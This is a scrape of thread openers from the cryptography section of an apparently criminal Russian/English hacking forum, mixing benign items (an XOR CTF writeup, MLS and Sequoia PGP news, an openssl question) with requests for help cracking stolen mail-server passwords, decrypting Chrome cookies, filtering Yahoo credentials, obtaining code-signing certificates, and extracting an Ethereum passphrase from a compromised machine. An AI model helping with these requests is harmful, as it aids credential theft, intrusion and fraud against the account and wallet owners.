Author: Focus17
Replies: 1 Views: 251

Какие символы/знаки добавляют при смене пароля по статистике? Психологически трудно запоминать много паролей, тем более новых.
Больше вопрос к брутерам, подскажите ТОП правил

Cryptogram Solver
ID: 676536fbb4103b69df37384f
Thread ID: 56499
Created: 2021-09-10T00:53:30+0000
Last Post: 2021-09-10T01:45:45+0000
Author: valhalla
Replies: 2 Views: 249

I advise you to take a look and learn what this is for.

__

quipqiup - cryptoquip and cryptogram solver

![quipqiup.com](/proxy.php?image=https%3A%2F%2Fquipqiup.com%2Fandroid- icon-192x192.png&hash=e9d84d8ad6256121b6d995f06a12c26b&return_error=1) quipqiup.com

Click to expand...

Can be fun but also teach you lots.

can you crack this ? or at least know the encryption used
ID: 676536fbb4103b69df373817
Thread ID: 66055
Created: 2022-04-23T12:28:42+0000
Last Post: 2022-04-25T03:30:23+0000
Author: EthicX
Replies: 2 Views: 248

Hello Fellows

I have a big list of companies' mail servers but passwords are encrypted ( not b64 )

1650716794183.png

Авто перевод matic eth
ID: 676536fbb4103b69df373829
Thread ID: 62547
Created: 2022-02-06T10:24:14+0000
Last Post: 2022-02-09T10:13:16+0000
Author: Rssl7
Replies: 1 Views: 236

Не нашел подходящей темы по данному вопросу
Есть ли скрипт или софт что бы осуществлять Авто перевод matic eth ?

Телеграм, стикерпак, ссылка и владелец.
ID: 676536fbb4103b69df37382a
Thread ID: 62575
Created: 2022-02-07T09:37:53+0000
Last Post: 2022-02-07T11:22:05+0000
Author: Марк
Replies: 1 Views: 236

На днях появился в этом мессенджере интересный бот, который принимает стикеры и обратно выдает айди их создателя в следующем виде

Spoiler: Спойлер, чтобы не занимать место

1644226031808.png

Как поясняется в группе владельца:

Бот дешифрует ID пака со стикерами и выводит Telegram ID создателя пака. Работает со всеми стикерами.

Click to expand...

Раньше, довольно давно, было нечто похожее, но тем методом находили владельцев каналов:

например 1886660951.

Вот айди. Переводил его в 32-bit hex через любой конвертер. На выходе было 0b 3d f9 87.
Этот hex переводим в base64 также конвертором и с получаем на выходе Cz35hw. Первые 5 символов это были символы по которым я находил ссылки, которые генерили аккаунты.
То есть, начинаться они будут так: t.me/joinchat/Cz35h

Click to expand...

Думаю, здесь решение должно быть похожим, но уже несколько дней ломаю голову, а найти его не могу. Если сдампить стикер, то получим

Spoiler: вот это

Message(
id=475189,
peer_id=PeerUser(
user_id=5215639684
),
date=datetime.datetime(2022, 2, 7, 9, 25, 3, tzinfo=datetime.timezone.utc),
message='',
out=True,
mentioned=False,
media_unread=False,
silent=False,
post=False,
from_scheduled=False,
legacy=False,
edit_hide=False,
pinned=False,
from_id=88916653,
fwd_from=None,
via_bot_id=None,
reply_to=None,
media=MessageMediaDocument(
document=Document(
id=5235737297588063326,
access_hash=7296663051386387829,

file_reference=b'\x03\x00\x07@5b\x00\xe7c\x11ys\xb29`\xd3*lv#\xe0\xed\xa3\xbc\x12',
date=datetime.datetime(2021, 5, 7, 8, 43, 37, tzinfo=datetime.timezone.utc),
mime_type='image/webp',
size=24688,
dc_id=2,
attributes=[
DocumentAttributeImageSize(
w=512,
h=512
),
DocumentAttributeSticker(

alt='👌',
stickerset=InputStickerSetID(
id=1815926200111988740,
access_hash=-4061299332194704987
),
mask=False,
mask_coords=None
),
DocumentAttributeFilename(
file_name='sticker.webp'
),
],
thumbs=[
PhotoPathSize(
type='j',

bytes=b'\x19\x06\xb3\x02\xe1Y\x06\xe5\x00Y\x06\x80Y\x06\xe1\x19\x06\x99\x06\xef\x19\x06\x99\x06\xe1Y\x06'
),
PhotoSize(
type='m',
w=320,
h=320,
size=12436
),
],
video_thumbs=[
]
),
ttl_seconds=None
),
reply_markup=None,
entities=[
],
views=None,
forwards=None,
replies=None,
edit_date=None,
post_author=None,
grouped_id=None,
restriction_reason=[
],
ttl_period=None
)

Click to expand...

Сам бот вот

Hidden content for authorized users.

@FindStickerCreatorBot

Ну и ссылка на сам стикерпак

Hidden content for authorized users.

t.me

[ Add sticker set @Mark_a'ss stiks — @stckrRobot on Telegram

](https://t.me/addstickers/sp5825468fcaef38a9a59b2e962fd57dcf_by_stckrRobot)

t.me t.me

Тому, кто поможет найти решение - могу подарить сто сессий в качестве благодарности в любом формате :) очень уж хочется узнать способ дешифровки.

Click to expand...

openssl. Почему выкидывает ошибку?
ID: 676536fbb4103b69df373802
Thread ID: 70403
Created: 2022-07-20T14:56:36+0000
Last Post: 2022-08-01T20:26:54+0000
Author: koukishinouse
Replies: 2 Views: 235

openssl genpkey -genparam -algorithm DH -out parametersPG.pem

openssl genpkey -paramfile parametersPG.pem -out AlicePublicPrivateKeyPair.pem

openssl genpkey -paramfile parametersPG.pem -out BobPublicPrivateKeyPair.pem

openssl pkey -in AlicePublicPrivateKeyPair.pem -pubout -out AlicePublicKey.pem

openssl pkey -in BobPublicPrivateKeyPair.pem -pubout -out BobPublicKey.pem

openssl pkeyutl -derive -inkey AlicePublicPrivateKeyPair.pem -peerkey BobPublicKey.pem -out AliceSharedSecret.bin

openssl pkeyutl -derive -inkey BobPublicPrivateKeyPair.pem -peerkey AlicePublicKey.pem -out BobSharedSecret.bin

cmp AliceSharedSecret.bin BobSharedSecret.bin

openssl enc -aes-256-ctr -hkdf -e -a -in plain.txt -out encrypted.txt -pass file:AliceSharedSecret.bin

Последняя команда выдает ошибку:

enc: Unrecognized flag hkdf
enc: Use -help for summary

[HELP] Получение сертификата
ID: 676536fbb4103b69df37381f
Thread ID: 63713
Created: 2022-03-02T15:48:24+0000
Last Post: 2022-03-02T16:11:21+0000
Author: coree
Replies: 3 Views: 226

Добрый вечер. Такой вопрос, где/как можно достать сертификат для подписи дров/прог не покупая его?

Md5 hash / md5 шифрование
ID: 676536fbb4103b69df37382d
Thread ID: 62179
Created: 2022-01-30T09:58:21+0000
Last Post: 2022-02-04T20:57:51+0000
Author: runtim3
Replies: 1 Views: 213

What can be done with md5 hash retrieved from database and hashed via a php API. I have code where hashing was implemented. All retrieved from server.

Что можно сделать с хешем md5, полученным из базы данных и хэшированным через php API. У меня есть код, в котором реализовано хеширование. Все получено с сервера.

ginni
ID: 676536fbb4103b69df3737fd
Thread ID: 69990
Created: 2022-07-12T08:05:07+0000
Last Post: 2022-08-15T18:49:09+0000
Author: Hacker00
Replies: 1 Views: 210

enecrypt apk rst android

Расшифруйте строки,знатоки криптографии
ID: 676536fbb4103b69df373792
Thread ID: 92859
Created: 2023-07-13T13:58:36+0000
Last Post: 2023-07-13T17:15:10+0000
Author: ozvanx
Replies: 1 Views: 208

Помогите :)
hIwDmCS94uDDx9kBA/4gmzhUmheAdPWKYI2I6X7ZrXyqPGINQHkf+TNuW/lySm9V
69URCrayYSsgBQkR2f0oxDzwY0ZE5fnOVlxsEyj/flon0FbCJV3QASLQGX+7nJsS
3U3pjz1YbDOeaHM4S5LL6CTeXRjWZb5Vl7KLHQRJXXQVXsMpAYYNcwrt0aDMpdJe
AbJnPCKDaU9B+eU0AcGYs/HwqmI+y8X9EMiM92IYcMgyJkd1OwTj931aMAtv2i+s
EZNzyjpH+0DBqF5QvzIX0RYorAzdk0Z8rFyycBSIGanUPF1bq4JiDjl7Hbve2Q==
=A5yD

Can't send Bitcoins to empty wallet. Is that possible?
ID: 676536fbb4103b69df373803
Thread ID: 70090
Created: 2022-07-14T08:32:18+0000
Last Post: 2022-07-14T09:38:48+0000
Author: Aster
Replies: 4 Views: 198

Its a long story, but i have guy who want to pay, but he is saying he cant beacuse of "transaction server failed" might be because your address is "empty" due to no balance in it".
Is that possible, or he is lying?
I need this information ASAP

Мне нужен скрипт, который может фильтровать пароли почтовых ящиков yahoo
ID: 676536fbb4103b69df373830
Thread ID: 61895
Created: 2022-01-24T09:52:07+0000
Last Post: 2022-01-27T07:07:50+0000
Author: JAKBOOS
Replies: 3 Views: 197

Мне нужен скрипт, который может фильтровать пароли почтовых ящиков yahoo TG splsplsplspl

Please help me determine the hashtype
ID: 676536fbb4103b69df37381e
Thread ID: 63716
Created: 2022-03-02T16:30:04+0000
Last Post: 2022-03-02T17:02:47+0000
Author: Jak4kas
Replies: 2 Views: 196

Hello, could you help me determine the hashtype?
hash samples:
0351e2da852d5759fd620d23dbe9eb4b
d33dffa57750ecf62849e91413912186
0351e2da852d5759fd620d23dbe9eb4b
0351e2da852d5759fd620d23dbe9eb4b
0351e2da852d5759fd620d23dbe9eb4b
0c19e0466b384a78afea54efa88d4958
5c6dd36338da4345724c9463a3894c2e
18dfc61d0bb6abd3f4bc2894c38078af
f10da70c571df1dbadc9a2adb8b623ca
cd0fe9a1bff3f4a58f349d4dd029e790
3cf0651daad7f728f8ebca9da2c1dee6
0351e2da852d5759fd620d23dbe9eb4b
1fdb47f31a9bd076bb3034b0b97f1f18
1fdb47f31a9bd076bb3034b0b97f1f18
5c6dd36338da4345724c9463a3894c2e
c275fe0ccb6f3ca59363910da447cfaa
da8e1b5e6b15d9ebefa8e6d424f9de54
c275fe0ccb6f3ca59363910da447cfaa
5c6dd36338da4345724c9463a3894c2e
0351e2da852d5759fd620d23dbe9eb4b
0351e2da852d5759fd620d23dbe9eb4b
0351e2da852d5759fd620d23dbe9eb4b
5c6dd36338da4345724c9463a3894c2e
5c6dd36338da4345724c9463a3894c2e
07e0eff96e21dbb270841f78f421a078
5c6dd36338da4345724c9463a3894c2e
c4d22acf5ca37f22eaad64d8a4c22be1
c4d22acf5ca37f22eaad64d8a4c22be1
0351e2da852d5759fd620d23dbe9eb4b
1fdb47f31a9bd076bb3034b0b97f1f18
3cf0651daad7f728f8ebca9da2c1dee6
cd0fe9a1bff3f4a58f349d4dd029e790
d1a57a1007636de68004a6949200264c

Шифр XOR, XORtool на примере таска
ID: 676536fbb4103b69df373812
Thread ID: 67299
Created: 2022-05-19T12:47:30+0000
Last Post: 2022-05-19T12:47:30+0000
Author: SenjorZeroday
Replies: 0 Views: 193

XOR

(Логи́ческое сложе́ние, исключа́ющее «ИЛИ», строгая дизъюнкция, XOR, поразрядное дополнение, побитовый комплемент, жегалкинское сложение).

  • Логическая операция для булевых манипуляций с битами.

http://habrastorage.org/storage2/9af/1de/e09/9af1dee09d4d36ff0b15bdb4aae19e3b.png

Свойста XOR:

a XOR 0 = aa XOR a = 0a XOR b = b XOR a(a XOR b) XOR b = a

Click to expand...

Нагладные действия операции XOR: ( на языке Python):

x = 5
y = 7

x = x^y # x == 2
y = x^y # y == 5
x = x^y # x == 7

Реверс текстовой строки на языке Java:

public static final String reverseWithXOR(String string) {
char[] array = string.toCharArray();
int length = array.length;
int half = (int) Math.floor(array.length / 2);
for (int i = 0; i < half; i++) {
array _^= array[length - i - 1];
array[length - i - 1] ^= array _;
array _^= array[length - i - 1];
}
return String.valueOf(array);
}

Шифрование используя XOR

(a XOR key) XOR key = a

XOR и CTF

**(Crypto)hack.lu CTF 2011 Simplexor (200)**​

To get a better security we deceided to encrypt our most secret document with the secure xor-algorithm. Unfortunately we lost the key. Now we are sad. Can you help us recovering the key?Для большей безопасности мы зашифровали наш документ с помощью XOR-алгоритма. Ключ был потерян. Сможете ли вы восстановить ключ? (Файл прилагается)

Click to expand...

Writeup: Т.к. файл был зашифрован с помощью XOR алгоритма, нам необходимо использовать XORtool или Cryptool.

Во-первых, декодируем Base64.

$ base64 -d simplexor.txt >ciphertext.bin

Click to expand...

Осуществляем подбор длины ключа. Для этого воспользуемся скриптом на Python.

git clone https://github.com/hellman/xortool.git

Click to expand...

Данный скрипт умеет анализировать файл на количество вхождений символов, подбирать ключ, и

сохранять результаты перебора.

$ xortool ciphertext.bin

Возможная длина ключа:

2: 4.9 %4: 7.3 %6: 4.8 %8: 9.5 %10: 4.8 %12: 7.1 %14: 4.9 %16: 14.1 %18: 4.8 %20: 7.1 %22: 4.9 %24: 9.2 %26: 4.8 %28: 7.0 %30: 4.8 %

16 знаков - наиболее вероятная длина нашего ключа. Проверяем это, получаем:

$ xortool ciphertext.bin -c 20 Probable key lengths: ... 1 possible key(s) of length 16: WklF6e5TEc5XmEG8

Click to expand...


$ xxd xortool_out/0_WklF6e5TEc5XmEG8 | head 0000000: 2e72 4b08 367f 3e03 1646 4700 6054 7f32 .rK.6.>..FG.`T.2 0000010: 2e38 512f 6320 7435 2020 2020 2020 2020 .8Q/c t50000020: 2d04 2020 200f 5623 0829 2d10 2f65 450d -. .V#.)-./eE.

Click to expand...

Проблема заключается в том, что наш ключ выглядит длиннее. По умолчанию скрипт работает со значениями, меньшими 32. Заставим его работать, скажем, с 257.

$ xortool ciphertext.bin -m 257 -c 20
...
Key-length can be 4*n
1 possible key(s) of length 64:
WvhnPry60NRl41weWY7IueaAEc5XmEG8ZOlF6JCWmj8hbvmYkkwFox5Tz1HLvdKl

Как мы видим, мы на правильном пути. Проверим выходные данные.

$ head xortool_out/0_*
.oO Phrack 49 Oo.

Volume Seven, Issue Forty-Nine

File 14 of 16

BugTraq, r00t, and Underground.Org
bring you

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Отлично! Очевидно, что ключ найден. Flag: liWvhnPry60NRl41weWY7IueaAEc5XmEG8ZOlF6JCWmj8hbvmYkkwFox5Tz1HLvdKl___

Best Books for learning Cryptography/encryption mainly for malware , ransomware
ID: 676536fbb4103b69df3737f8
Thread ID: 72330
Created: 2022-08-28T10:11:00+0000
Last Post: 2022-08-28T11:28:33+0000
Author: words_arent_myth
Replies: 1 Views: 192

Please suggest one you know

Протокол сквозного шифрования MLS получил статус предложенного стандарта
ID: 676536fbb4103b69df373788
Thread ID: 94294
Created: 2023-07-29T12:56:42+0000
Last Post: 2023-07-29T12:56:42+0000
Author: g-man-original
Replies: 0 Views: 189

Комитет IETF (Internet Engineering Task Force), занимающийся развитием протоколов и архитектуры интернета, завершил формирование RFC для протокола MLS (Messaging Layer Security) и опубликовал связанную с ним спецификацию RFC 9420. Спецификация получила статус "Предложенного стандарта", после чего начнётся работа по приданию RFC статуса чернового стандарта (Draft Standard), фактически означающего полную стабилизацию протокола и учёт всех высказанных замечаний.

[ Information on RFC 9420 » RFC Editor ](https://www.rfc-

editor.org/info/rfc9420)

![www.rfc-editor.org](/proxy.php?image=https%3A%2F%2Fwww.rfc-editor.org%2Fwp- content%2Fuploads%2Ffavicon-1.ico&hash=a7b64350d00370207c07bed54f5274c3&return_error=1) www.rfc-editor.org

Протокол MLS предназначен для организации сквозного шифрования в приложениях, выполняющих обмен сообщениями. Предполагается, что внедрение MLS позволит унифицировать механизмы сквозного шифрования сообщений в группах, охватывающих двух и более участников, и упростить внедрение их поддержки в приложения. О работе по внедрению поддержки MLS в свои продукты объявили компании AWS, Cisco, Cloudflare, Google, Meta, Mozilla, Phoenix R&D и Wire, а также организация Matrix Foundation, развивающая платформу децентрализованных коммуникаций Matrix.

Основной целью создания нового протокола называется унификация средств для сквозного шифрования и внедрение единого стандартизированного и верифицированного протокола, который можно будет использовать вместо отдельных развиваемых разными производителями протоколов, решающих одни и те же задачи, но не совместимых между собой. MLS позволяет использовать в разных приложениях уже проверенные готовые реализации протокола, а также организовать их совместное развитие и верификацию. Переносимость на уровне приложений предлагается реализовывать на уровне аутентификации, получения ключей и обеспечения конфиденциальности (совместимость на уровне транспорта и семантики выходит за рамки стандарта).

Реализации MLS развиваются на языках C++ (MLSpp, RingCentral), Go, TypeScript и Rust (OpenMLS, Wickr). При разработке MLS использован опыт уже существующих протоколов, применяемых для защиты передачи сообщений, таких как S/MIME, OpenPGP, Off the Record и Double Ratchet. Поддержка MLS уже обеспечена в коммуникационных платформах Webex и RingCentral, а также планируется в проектах Wickr и Matrix.

Решаемые протоколом задачи :

  • Конфиденциальность - сообщения могут быть прочитаны только участниками группы.
  • Гарантии целостности и аутентификации - каждое сообщение отправляется аутентифицированным отправителем и не может быть подменено или изменено по пути.
  • Аутентификация членов группы - каждый участник может проверить достоверность других участников группы.
  • Работа в асинхронном режиме - ключи шифрования могут быть выставлены без необходимости нахождения обоих участников в online.
    *Прямая секретность (Forward Secrecy) - компрометация одного из участников не позволяет расшифровать ранее отправленные в группу сообщения.
    *Защита после компрометации - компрометация одного из участников не позволяет расшифровать сообщения, которые будут отправлены в группу в будущем.
  • Масштабируемость - по возможности сублинейная масштабируемость в плане потребления ресурсов в зависимости от размера группы.

Источник

Криптография: Основы, Тенденции и Будущее
ID: 676536fbb4103b69df37378a
Thread ID: 94015
Created: 2023-07-26T11:05:08+0000
Last Post: 2023-07-26T11:05:08+0000
Author: BGStoynev
Replies: 0 Views: 187

Введение:
Добро пожаловать на форум криптографии - место, где специалисты сходятся, чтобы обсудить захватывающий мир шифрования и безопасности данных. Криптография - это искусство обеспечения конфиденциальности, целостности и подлинности информации. В этой статье мы рассмотрим основы криптографии, расскажем о последних тенденциях и заглянем в будущее этой захватывающей области.

Часть 1: Основы криптографии

Криптография - это наука о тайном шифровании информации с помощью математических алгоритмов. В её основе лежит стремление защитить данные от несанкционированного доступа, а также обеспечить целостность и подлинность передаваемой информации. Ключевыми элементами криптографии являются:

1. Симметричное и асимметричное шифрование: Симметричное шифрование использует один и тот же ключ для шифрования и дешифрования данных, в то время как асимметричное шифрование использует разные ключи - открытый и закрытый.

2. Хэширование: Хэширование преобразует входные данные в фиксированную строку определенной длины, называемую хешем. Хэши используются для проверки целостности данных и паролей.

Часть 2: Тенденции в криптографии

Современные технологии постоянно развиваются, и с ними расширяются и угрозы для безопасности. Криптография также активно развивается, чтобы справиться с новыми вызовами. Некоторые ключевые тенденции в сфере криптографии включают:

1. Квантовая криптография: Появление квантовых компьютеров может подвергнуть сомнению стойкость некоторых классических криптографических алгоритмов. Квантовая криптография обещает новые методы шифрования на основе принципов квантовой механики.

2. Многофакторная аутентификация: Усиление мер безопасности зачастую осуществляется через многофакторную аутентификацию, включающую что-то, что вы знаете, что-то, что у вас есть, и что-то, что вы являетесь. Это повышает надежность системы защиты.

Часть 3: Будущее криптографии

Криптография остается одной из самых важных областей информационной безопасности. С увеличением объема данных, передаваемых по сетям, и развитием интернета вещей, криптография будет играть ключевую роль в обеспечении безопасности всей этой информации.

1. Развитие квантовой криптографии: Ожидается, что квантовая криптография станет более распространенной, предоставляя новые методы защиты данных, устойчивые к атакам квантовых компьютеров.

2. Применение криптографии в блокчейне: Блокчейн технология стала основой для множества новых приложений. Использование криптографии в блокчейне обеспечивает безопасность и доверие в сети, где некоторые участники могут быть неизвестными друг другу.

Заключение:
Криптография является фундаментальным элементом современной информационной безопасности. Она продолжает развиваться, чтобы соответствовать требованиям меняющегося мира. Только совместными усилиями и обменом знаний среди специалистов по криптографии мы сможем сделать цифровой мир более безопасным и защищенным. Давайте поддерживать диалог и исследования, чтобы усовершенствовать нашу общую защиту.

NFC/RFID Spoofing eID
ID: 676536fbb4103b69df37378d
Thread ID: 93540
Created: 2023-07-21T00:11:05+0000
Last Post: 2023-07-21T00:11:05+0000
Author: k00nta
Replies: 0 Views: 185

I've had the thought for a while about the possibility to spoof the NFC signal in for example a passport through.

Is there any possibility to spoof or in other words tunnel the information in the NFC-chip in a passport through a browser in one phone, to be read on another phone in a another location ?

Web NFC Sample

Sample illustrating the use of Web NFC.

![googlechrome.github.io](/proxy.php?image=https%3A%2F%2Fgooglechrome.github.io%2Fsamples%2Fweb- nfc%2F..%2Fimages%2Ffavicon.ico&hash=795047607cf477811fffa3412ed87cb0&return_error=1) googlechrome.github.io

Trying to rephrase.

Android 1
Location A
Read NFC through web NFC > Sending signal to Android 2

Android 2
Location B
Read Android 1 NFC-information in app > Receiving information from Android 1

Is this possible?

AES 256 100 КБ
ID: 676536fbb4103b69df3737ee
Thread ID: 73981
Created: 2022-10-05T13:00:26+0000
Last Post: 2022-10-05T13:18:31+0000
Author: Aros
Replies: 2 Views: 184

Друзья, кто-нибудь знает, как зашифровать и расшифровать всего 100 КБ каждого файла на C# и алгоритме AES 256?

В поиске
ID: 676536fbb4103b69df37381b
Thread ID: 64734
Created: 2022-03-24T09:47:53+0000
Last Post: 2022-03-24T09:47:53+0000
Author: Champ1on
Replies: 0 Views: 183

нужны акки под мои линки, с брутфорса.

Правила раздела! Обязательно к прочтению.
ID: 676536fbb4103b69df373714
Thread ID: 129121
Created: 2024-12-17T08:34:56+0000
Last Post: 2024-12-17T08:34:56+0000
Author: 174region174
Replies: 0 Views: 180

Правила раздела "Криптография"

В данном разделе приветствуется обсуждения на тему:

  • Будущее криптографии: квантовая криптография и постквантовые алгоритмы.
  • Обсуждение криптографических алгоритмов, протоколов, и их практического применения.
  • Обсуждение различных криптографических атак и уязвимостей.
  • Криптография в программировании - реализация различных криптоалгоритмов
  • Работа с инструментами и библиотеками для работы с криптографией: OpenSSL, Libsodium etc...
  • Анализ методов шифрования, хеширования, цифровой подписи и аутентификации.
  • Обсуждение криптографических стандартов и их реализации в различных системах.
  • Криптоанализ - методы и техники взлома криптографических систем.
  • Обсуждение криптографии и стеганографии для защита данных и конфиденциальности
  • Обсуждение криптографических головоломок и загадок
  • в этот раздел из новостей идет только самое вкусное (Например: Информация о новых и развивающихся технологиях в области криптографии).

**В этом разделе ЗАПРЕЩЕНО вести коммерческую деятельность, для этого есть раздел Торговая площадка.

Исключение ---> Взлом хешей (любые, кроме WiFi Handshake), аналогичная ветка**Взлом паролей WiFi (wpa/wpa2) Handshake**находится в разделе "Атаки на беспроводные сети".

Запрещено** (наказание ПРЕДУПРЕЖДЕНИЕ - рецидив БАН)

  • Оскорблять других участников форума и публично выяснять отношения.
  • Флуд - сообщения не несущие никакой информативной нагрузки и лишенные всякого смысла (Для это есть реакции: лайки и дизлайки).
  • Оффтопить, то есть обсуждать вопросы, не соответствующие теме.
  • Нецензурные выражения.
  • Игнорирование поиска и создание аналогичных тем.
  • Ярко выраженная реклама других порталов.
  • Поднятие старых тем и отписывать в темах, в которых вопрос уже решен.

Кроме правил раздела существует обязательное выполнение общих правил форума.

Рекомендации

  • Уважайте всех участников данного раздела, независимо от их уровня и познаний в области криптографии.
  • Избегайте разглашения личной информации или любых конфиденциальных данных.
  • Не делитесь фейковыми новостями или вводящей в заблуждение информацией, соблюдайте чистоту.
  • Предоставляйте источники или ссылки при обмене информацией или результатами исследований.
  • При создание темы, код оформляйте в теги, а картинки загружайте на сам форум.
  • Приветствуется уважительное обращение к другим участникам, конструктивные ответы на поставленные вопросы и инициатива в создании новых, интересных тем!
Американская криптология. История спецсвязи. Вадим Гребенников
ID: 676536fbb4103b69df373814
Thread ID: 66506
Created: 2022-05-03T06:24:57+0000
Last Post: 2022-05-03T06:24:57+0000
Author: camawe
Replies: 0 Views: 179

xss.png

[ Американская криптология. История спецсвязи. Вадим Гребенников.pdf -

AnonFiles ](https://anonfiles.com/f8Wd9fcay4/.._pdf)

anonfiles.com anonfiles.com

Chrome Cookie
ID: 676536fbb4103b69df373810
Thread ID: 67704
Created: 2022-05-26T18:27:45+0000
Last Post: 2022-05-26T18:27:45+0000
Author: runs3c
Replies: 0 Views: 173

Всем привет, я уже несколько дней пытаюсь расшифровать куки хрома, но не могу найти правильный метод, у кого-нибудь из вас есть работающий скрипт?

Извините за мой русский, у меня есть гугл-переводчик

Но я пытаюсь научиться

:D

Regards

Обратима ли Comp128 v3 при помощи радужных таблиц?
ID: 676536fbb4103b69df373824
Thread ID: 63341
Created: 2022-02-22T12:22:52+0000
Last Post: 2022-02-22T12:22:52+0000
Author: gliderexpert
Replies: 0 Views: 173

Есть хеш функция COMP128 v3 , которая принимает ключ Ki длиной 128 бит и число RAND длиной 128 бит. На выходе получаем результат SRES длиной 32 бита. Ki мы не знаем, но есть возможность получать правильные пары RAND-SRES в небольшом количестве (десятки, но не сотни).
Выглядит это в общих чертах вот так:

comp129.jpg

Предположим, мы заранее сгенерировали все возможные варианты Ki, RAND и составили радужную таблицу с ответами SRES . По объему данных вроде бы получается вменяемо...

Можно ли будет найти правильный Ki , зная несколько (допустим, 10) правильных пар RAND-SRES?
Как подсчитать вероятность нахождения правильного ключа?

Понимаю, что решение вопроса тянет на изучение курса криптографии - но, быть может - кто-то уже достаточно хорошо разбирается в хеш-функциях?

Пример реализации comp128

github.com

[ libosmocore/src/gsm/comp128v23.c at master · osmocom/libosmocore

](https://github.com/osmocom/libosmocore/blob/master/src/gsm/comp128v23.c)

Osmocom core libraries; mirrored from https://gitea.osmocom.org/osmocom/libosmocore - osmocom/libosmocore

github.com github.com

Проверка почты Yahoo
ID: 676536fbb4103b69df37382f
Thread ID: 62131
Created: 2022-01-29T06:30:35+0000
Last Post: 2022-01-29T06:31:48+0000
Author: JAKBOOS
Replies: 1 Views: 171

Мне нужен кто-то, кто может проверить почту yahoo или предоставить почту yahoo, телеграмму splsplsplspl

Ethereum клиент Prysm
ID: 676536fbb4103b69df373806
Thread ID: 69488
Created: 2022-07-01T13:38:29+0000
Last Post: 2022-07-01T13:38:29+0000
Author: Change
Replies: 0 Views: 163

Получило доступ к машине, на которой установлен клиент Prysm (https://github.com/prysmaticlabs/prysm). Нашел wallet (файл all- accounts.keystore). Содержимое файла "all-accounts.keystore" для меня не в очевидном виде. Скорее всего содержимое "all-accounts.keystore" зашифровано, не смог понять где конкретно посмотреть адрес ETH кошелька.
Если кто-то сталкивался с клиентом Prysm, можно попросить ответить на следующие вопросы:
Что можно сделать? Как посмотреть адрес wallet? Где-то хранится passphrase от кошелька в открытом виде? Возможно ли сдампить процесс и найти passphrase?

RSATool by JK
ID: 676536fbb4103b69df373826
Thread ID: 63138
Created: 2022-02-18T01:43:14+0000
Last Post: 2022-02-18T01:43:14+0000
Author: Ulevel
Replies: 0 Views: 155

Hello everyone,

Here I am sending you the new RSATool I created recently:

https://www.kocianjiri.com/rsatool/index.html

Best regards,
Ulevel

Can someone help me identify this hash/encryption
ID: 676536fbb4103b69df37380d
Thread ID: 67769
Created: 2022-05-28T05:55:01+0000
Last Post: 2022-05-28T05:55:01+0000
Author: hackermania
Replies: 0 Views: 145

zM3ruR/LYXEgjYsBrj33WqimehVyukU3ubl0oe13ZRE=

Методы обнаружения редактирования медиа-файлов.
ID: 676536fbb4103b69df37371f
Thread ID: 128332
Created: 2024-12-05T22:51:53+0000
Last Post: 2024-12-05T22:51:53+0000
Author: Demoduck
Replies: 0 Views: 130

Необходимо узнать, имеются ли на изображении изменения.

Есть известные мне методы, к примеру: проверка артефактов и ELA(Error Level Analysis).

Какие еще есть методы проверки файлов изображения на присутствие изменений от первоначального вида?

Релиз PGP-инструментария sq от проекта Sequoia
ID: 676536fbb4103b69df373719
Thread ID: 129162
Created: 2024-12-17T16:07:06+0000
Last Post: 2024-12-17T16:07:06+0000
Author: ips
Replies: 0 Views: 111

После семи лет разработки [сформирован](https://sequoia- pgp.org/blog/2024/12/16/202412-sq-1.0/) релиз инструментарий командной строки sq 1.0, предназначенного для работы с артефактами OpenPGP. Инструментарий подготовлен проектом Sequoia PGP, также развивающим библиотеку функций с реализацией стандарта OpenPGP (RFC-4880). Выпуск 1.0 отмечен как первый стабильный релиз проекта, означающий стабилизацию кодовой базы и прекращение внесение изменений, нарушающих совместимость. Код написан на языке Rust и распространяется под лицензией GPLv2+.

Инструментарий включён в состав дистрибутива Red Hat Enterprise Linux 10 в качестве альтернативы GnuPG, задействован для работы с PGP в пакетных менеджерах DNF и RPM, и используется по умолчанию в экспериментальной ветке пакетного менеджера APT при наличии компонентов Sequoia в системе. Созданный разработчиками Sequoia сервер ключей Hagrid применяется в сервисе keys.openpgp.org.

Проект Sequoia создан тремя разработчиками GnuPG из компании g10code, специализирующейся на аудите криптосистем и разработке дополнений к GnuPG. Целью проекта заявлена переработка архитектуры и внедрение новых техник повышения безопасности и надёжности кодовой базы. Помимо использования языка Rust для снижения вероятности ошибок при работе с памятью, в Sequoia реализована дополнительная защита от ошибок на уровне API. Например, API не позволяет случайно экспортировать материал секретного ключа и подстраховывает от пропуска важных действий при обновлении цифровой подписи. Для дополнительной изоляции применяется разделение по отдельным процессам сервисов, работающих с открытыми и закрытыми ключами.

Помимо функций для шифрования данных, работы с электронными подписями и управления ключами, схожих с возможностями gpg, в sq дополнительно предоставляется децентрализованная инфраструктура открытых ключей (PKI). PKI используется для аутентификации сертификатов и сообщений, и позволяет удостовериться в том, что полученный открытый ключ и принятое сообщений связаны с заявленным автором, а не сформированы злоумышленником.

При загрузке сертификата с keys.openpgp.org или другого сервера ключей, утилита sq автоматически сохранит информацию о сертификате на локальной системе и будет использовать эту информацию при последующих операциях для выявления поддельных сертификатов. Отмечается, что реализованная система может применяться в качестве основы для построения подобия распределённого удостоверяющего центра (CA), охватывающего различные серверы ключей.

Например, перед проверкой подлинности загруженных сборок ОС Qubes пользователь может вначале проверить сертификат Qubes, отдаваемый с основного сервера ключей проекта Qubes:

Code:Copy to clipboard

sq network search https://keys.qubes-os.org/keys/qubes-release-4.2-signing-key.asc

Указанная команда загрузит сертификат с сервера keys.qubes-os.org, а затем проверит его наличие на известных серверах ключей, таких как keys.openpgp.org и keyserver.ubuntu.com, или попытается получить при помощи механизмов WKD (Web Key Directory) и DANE (DNS-Based Authentication of Named Entities). Далее утилита сравнит полученные сертификаты и если они связаны с одним владельцем предложит использовать команду "sq pki link add" для сохранения сертификата на локальной системе для последующих проверок. После сохранения сертификат будет считаться заслуживающим доверия и для загрузки сборок с проверкой их достоверности достаточно будет выполнить команду:

Code:Copy to clipboard

sq download --signature-url https://mirrors.edge.kernel.org/qubes/iso/Qubes-R4.2.3-x86_64.iso.asc --url https://mirrors.edge.kernel.org/qubes/iso/Qubes-R4.2.3-x86_64.iso --output /tmp/qubes.iso

источник